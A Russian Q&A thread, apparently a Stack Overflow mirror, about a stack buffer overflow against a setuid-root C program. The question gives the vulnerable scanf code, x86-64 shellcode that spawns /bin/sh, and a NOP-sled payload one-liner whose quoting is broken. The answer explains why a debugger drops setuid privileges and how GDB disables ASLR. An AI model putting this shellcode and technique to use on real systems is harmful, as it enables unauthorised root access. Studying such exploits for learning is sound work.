Как получить повышение привилегий, используя уязвимую программу с привилегиями root? - PullRequest
0 голосов
/ 11 февраля 2019

Я пытаюсь использовать повышение привилегий для уязвимой программы с привилегиями root.Я попробовал шелл-код для этого, но я не знаю, где я делаю ошибку.

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
char buf[256];
int len, i;

scanf("%s", buf);
len = strlen(buf);

printf("%s\n", buf);
return 0;
}

Адрес буфера начинается с "0x7fffffffdfd0".Размер буфера составляет 272 байта.Я использовал следующий код оболочки, который составляет 29 байтов:

\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05

Кроме того, я использовал следующий вход для сценария атаки:

(python -c 'print \x90"*243+"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"+"\xd0\xdf\xff\xff\xff\x7f"') > payload.txt

Когда я запускаю программу с "запустите

1 Ответ

0 голосов
/ 11 февраля 2019

Когда я запускаю программу с «run

Ожидается: программы setuid не получают специальных привилегий отядро, когда они ptrace d (когда они работают под отладчиком).В противном случае можно было бы перехватить любую программу setuid (не только уязвимую).

Адрес буфера начинается с "0x7fffffffdfd0".

Откуда ты это знаешь?Вы нашли этот адрес с помощью GDB?Вы отключили ASLR?

GDB отключает ASLR (чтобы упростить отладку - все всегда по одному адресу).

Если вы не отключили ASLR для всей системы, тоbuffer вероятно не начинается с 0x7fffffffdfd0.

...